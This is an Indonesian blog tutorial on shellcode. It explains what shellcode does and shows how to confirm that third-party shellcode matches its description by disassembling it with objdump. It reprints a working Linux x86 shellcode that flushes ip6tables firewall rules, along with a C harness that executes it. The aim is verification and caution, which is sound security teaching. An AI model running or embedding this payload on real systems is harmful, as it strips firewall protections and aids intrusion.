Aneka Macam Shellcode

Secara teori, shellcode bisa melakukan apa saja, sesuai dengan keterbatasan besarnya kode yang bisa kita injeksi dan beberapa batasan sistem lain. Kita bisa saja menulis shellcode milik kita sendiri -- terutama jika eksploitnya harus sangat spesifik -- tapi biasanya lebih mudah menggunakan yang sudah ada. Sudah ada banyak shellcode yang tersedia di Internet (misalnya ada lebih dari 400 di http://www.exploit-db.com/shellcode/ dan di http://www.shell-storm.org/shellcode/), dan bahkan ada generator shellcode yang bisa menghasilkan shellcode yang mengeksekusi perintah tertentu.

Membahas secara detail berbagai shellcode akan memakan waktu terlalu banyak, jadi di artikel ini saya hanya akan membahas dua hal: contoh berbagai aksi shellcode, dan bagaimana memvalidasi shellcode bahwa memang benar seperti yang disebutkan. Pernah ada satu kasus, seseorang mengirimkan "exploit" untuk program BIND (server DNS), dan ternyata "shellcode" di dalam "exploit" tersebut tidak digunakan untuk mengeksploit BIND (malah menyerang website nai.com). Jika Anda tertarik, threadnya bisa dibaca di http://www.mail-archive.com/[email protected]/msg04243.html.

Berbagai aksi shellcode

Untuk eksploit lokal, shellcode yang paling biasa adalah menjalankan shell (/bin/sh). Tapi itu bukan satu-satunya yang bisa kita lakukan, beberapa aksi shellcode untuk lokal antara lain:

Dan masih banyak lagi, sedangkan untuk eksploit remote:

Dan masih banyak lagi. Semuanya tergantung kreatifitas pembuatnya. Sebagian shellcode cukup unik (misalnya ada shellcode yang membuat komputer "berbicara" dengan text-to-speech), namun ada banyak shellcode yang melakukan hal yang sama, biasanya variasinya adalah:

  • Untuk OS/prosesor yang berbeda
  • Ukurannya lebih kecil dari yang lain
  • Tidak mengandung karakter tertentu (misalnya: shellcode yang hanya berisi karakter alfanumerik saja), baca juga Alphanumeric Code.
  • Menggunakan pendekatan berbeda (misalnya ada yang memakai socket langsung, ada yang memakai program nc)

Disasembly kode yang sudah ada

Jika ingin yakin bahwa shellcode yang Anda jalankan adalah benar melakukan aksi seperti pada deskripsinya, ada dua hal yang bisa dilakukan: pertama cari shellcode yang sudah terpercaya dan digunakan di berbagai exploit (misalnya shellcode dari Metasploit framework), dan kedua adalah memeriksa sendiri shellcodenya. Sebagian besar shellcode diberi listing assemblynya, tapi sebagian lagi tidak. Bahkan untuk yang diberi listing pun kadang Anda ingin memeriksa: benar tidak listingnya?

Saya ambil satu contoh dari http://www.exploit-db.com/exploits/13600/:

/*  Linux x86 - ip6tables -F - 47 bytes
 *  Jonathan Salwan < submit [!] shell-storm.org >
 * 
 *  ! DataBase of Shellcodes and you can share your shellcodes : http://www.shell-storm.org/shellcode/ !
 *
 *
 *  The Gnuser Project (Gnu Users Manager) => http://www.gnuser.org
 *
 * Disassembly of section .text:
 *
 * 08048054 <.text>:
 * 8048054: 6a 0b                   push   $0xb
 * 8048056: 58                      pop    %eax
 * 8048057: 99                      cltd  
 * 8048058: 52                      push   %edx
 * 8048059: 66 68 2d 46             pushw  $0x462d
 * 804805d: 89 e1                   mov    %esp,%ecx
 * 804805f: 52                      push   %edx
 * 8048060: 6a 73                   push   $0x73
 * 8048062: 66 68 6c 65             pushw  $0x656c
 * 8048066: 68 36 74 61 62          push   $0x62617436
 * 804806b: 68 6e 2f 69 70          push   $0x70692f6e
 * 8048070: 68 2f 73 62 69          push   $0x6962732f
 * 8048075: 68 2f 75 73 72          push   $0x7273752f
 * 804807a: 89 e3                   mov    %esp,%ebx
 * 804807c: 52                      push   %edx
 * 804807d: 51                      push   %ecx
 * 804807e: 53                      push   %ebx
 * 804807f: 89 e1                   mov    %esp,%ecx
 * 8048081: cd 80                   int    $0x80
*/
 
#include <stdio.h>
 
int main(int argc, char *argv[])
{
char shellcode[] =  "\x6a\x0b\x58\x99\x52\x66\x68\x2d"
            "\x46\x89\xe1\x52\x6a\x73\x66\x68"
            "\x6c\x65\x68\x36\x74\x61\x62\x68"
            "\x6e\x2f\x69\x70\x68\x2f\x73\x62"
            "\x69\x68\x2f\x75\x73\x72\x89\xe3"
            "\x52\x51\x53\x89\xe1\xcd\x80";
 
        fprintf(stdout,"Length: %d\n",strlen(shellcode));
    (*(void(*)()) shellcode)();      
}

Kita bisa menggunakan objdump untuk verifikasi. Pertama pindahkan shellcode menjadi variabel global (deklarasikan di luar main). Lalu:

gcc shellcode.c -O shell
objdump -D shell

Anda akan melihat bagian ini:

 08049640 <shellcode>:
  8049640:       6a 0b                   push   $0xb
  8049642:       58                      pop    %eax
  8049643:       99                      cltd   
  8049644:       52                      push   %edx
  8049645:       66 68 2d 46             pushw  $0x462d
  8049649:       89 e1                   mov    %esp,%ecx
  804964b:       52                      push   %edx
  804964c:       6a 73                   push   $0x73
  804964e:       66 68 6c 65             pushw  $0x656c
  8049652:       68 36 74 61 62          push   $0x62617436
  8049657:       68 6e 2f 69 70          push   $0x70692f6e
  804965c:       68 2f 73 62 69          push   $0x6962732f
  8049661:       68 2f 75 73 72          push   $0x7273752f
  8049666:       89 e3                   mov    %esp,%ebx
  8049668:       52                      push   %edx
  8049669:       51                      push   %ecx
  804966a:       53                      push   %ebx
  804966b:       89 e1                   mov    %esp,%ecx
  804966d:       cd 80                   int    $0x80

Yang memang cocok dengan listing yang diberikan pembuatnya. Setelah itu Anda bisa mentrace jalannya program dengan menggunakan gdb (atau debugger lain).

Penutup

Ada banyak varian shellcode, sebagian varian sebenarnya sangat mudah dibuat (apalagi dengan bantuan shellcode generator). Berhati-hatilah dalam memakai shellcode buatan orang lain, pastikan bahwa shellcode tersebut benar-benar melakukan hal yang Anda inginkan.

Copyright © 2009-2010 Yohanes Nugroho